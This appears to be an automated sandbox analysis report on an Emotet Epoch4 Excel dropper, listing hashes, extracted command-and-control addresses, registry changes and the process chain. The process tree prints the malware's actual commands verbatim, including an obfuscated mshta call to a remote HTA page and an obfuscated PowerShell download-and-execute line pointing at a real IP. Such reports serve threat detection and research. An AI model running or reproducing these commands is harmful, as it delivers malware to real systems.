emotet | 097e10a10fddb3bfba40ec406265b8f55c7edc55d3187b87fc5c0c84631278d9

Analysis

max time kernel
66s
max time network
70s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 01:20

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Report Analysis Logs

General

Target

2022-1-28-f70181635b6321d67b82173c43965aff.xls
Size

46KB
MD5

f70181635b6321d67b82173c43965aff
SHA1

6adbbe2c6242758948ea7c07848102c4eb714e60
SHA256

097e10a10fddb3bfba40ec406265b8f55c7edc55d3187b87fc5c0c84631278d9
SHA512

7dd971aa1e2692f2d3a7cf6982e98f4daaa8baf4d98b8a40ac37d43c0f88f47fc42f20327d5276805783706e6a23b312180f3fde9faf2fa6e5eeb7c4b1421d05

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	620	1616	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1824 mshta.exe
5 1160 powershell.exe
7 1160 powershell.exe
9 1872 rundll32.exe
11 1872 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2040 rundll32.exe
2040 rundll32.exe
2040 rundll32.exe
2040 rundll32.exe
2000 rundll32.exe
2000 rundll32.exe
2000 rundll32.exe
2000 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Jlurrkujapmfzsb\zbyo.skn rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1824	mshta.exe
5	1160	powershell.exe
7	1160	powershell.exe
9	1872	rundll32.exe
11	1872	rundll32.exe

pid	process
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2000	rundll32.exe
2000	rundll32.exe
2000	rundll32.exe
2000	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Jlurrkujapmfzsb\zbyo.skn	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1616 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1160 powershell.exe
1872 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1160 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1616 EXCEL.EXE
1616 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1616 EXCEL.EXE
1616 EXCEL.EXE
1616 EXCEL.EXE

pid	process
1616	EXCEL.EXE

pid	process
1160	powershell.exe
1872	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1160	powershell.exe

pid	process
1616	EXCEL.EXE
1616	EXCEL.EXE

pid	process
1616	EXCEL.EXE
1616	EXCEL.EXE
1616	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1616 wrote to memory of 620	1616	EXCEL.EXE	CMD.EXE
PID 1616 wrote to memory of 620	1616	EXCEL.EXE	CMD.EXE
PID 1616 wrote to memory of 620	1616	EXCEL.EXE	CMD.EXE
PID 1616 wrote to memory of 620	1616	EXCEL.EXE	CMD.EXE
PID 620 wrote to memory of 1824	620	CMD.EXE	mshta.exe
PID 620 wrote to memory of 1824	620	CMD.EXE	mshta.exe
PID 620 wrote to memory of 1824	620	CMD.EXE	mshta.exe
PID 620 wrote to memory of 1824	620	CMD.EXE	mshta.exe
PID 1824 wrote to memory of 1160	1824	mshta.exe	powershell.exe
PID 1824 wrote to memory of 1160	1824	mshta.exe	powershell.exe
PID 1824 wrote to memory of 1160	1824	mshta.exe	powershell.exe
PID 1824 wrote to memory of 1160	1824	mshta.exe	powershell.exe
PID 1160 wrote to memory of 916	1160	powershell.exe	cmd.exe
PID 1160 wrote to memory of 916	1160	powershell.exe	cmd.exe
PID 1160 wrote to memory of 916	1160	powershell.exe	cmd.exe
PID 1160 wrote to memory of 916	1160	powershell.exe	cmd.exe
PID 916 wrote to memory of 2040	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 2040	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 2040	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 2040	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 2040	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 2040	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 2040	916	cmd.exe	rundll32.exe
PID 2040 wrote to memory of 2000	2040	rundll32.exe	rundll32.exe
PID 2040 wrote to memory of 2000	2040	rundll32.exe	rundll32.exe
PID 2040 wrote to memory of 2000	2040	rundll32.exe	rundll32.exe
PID 2040 wrote to memory of 2000	2040	rundll32.exe	rundll32.exe
PID 2040 wrote to memory of 2000	2040	rundll32.exe	rundll32.exe
PID 2040 wrote to memory of 2000	2040	rundll32.exe	rundll32.exe
PID 2040 wrote to memory of 2000	2040	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 268	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 268	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 268	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 268	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 268	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 268	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 268	2000	rundll32.exe	rundll32.exe
PID 268 wrote to memory of 1872	268	rundll32.exe	rundll32.exe
PID 268 wrote to memory of 1872	268	rundll32.exe	rundll32.exe
PID 268 wrote to memory of 1872	268	rundll32.exe	rundll32.exe
PID 268 wrote to memory of 1872	268	rundll32.exe	rundll32.exe
PID 268 wrote to memory of 1872	268	rundll32.exe	rundll32.exe
PID 268 wrote to memory of 1872	268	rundll32.exe	rundll32.exe
PID 268 wrote to memory of 1872	268	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-f70181635b6321d67b82173c43965aff.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1616

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:620

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jlurrkujapmfzsb\zbyo.skn",aLcekOqERUGzDri
8⤵
- Suspicious use of WriteProcessMemory
PID:268

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jlurrkujapmfzsb\zbyo.skn",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1872

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
f0bd9fc58296e16df198512822c5f5d4

SHA1
2160cb4cfad57c4b1b27eb91a8da06754c421697

SHA256
2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

SHA512
d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

Download Submit
\ProgramData\QWER.dll
MD5
f0bd9fc58296e16df198512822c5f5d4

SHA1
2160cb4cfad57c4b1b27eb91a8da06754c421697

SHA256
2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

SHA512
d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

Download Submit
\ProgramData\QWER.dll
MD5
f0bd9fc58296e16df198512822c5f5d4

SHA1
2160cb4cfad57c4b1b27eb91a8da06754c421697

SHA256
2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

SHA512
d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

Download Submit
\ProgramData\QWER.dll
MD5
f0bd9fc58296e16df198512822c5f5d4

SHA1
2160cb4cfad57c4b1b27eb91a8da06754c421697

SHA256
2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

SHA512
d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

Download Submit
\ProgramData\QWER.dll
MD5
f0bd9fc58296e16df198512822c5f5d4

SHA1
2160cb4cfad57c4b1b27eb91a8da06754c421697

SHA256
2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

SHA512
d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

Download Submit
\ProgramData\QWER.dll
MD5
f0bd9fc58296e16df198512822c5f5d4

SHA1
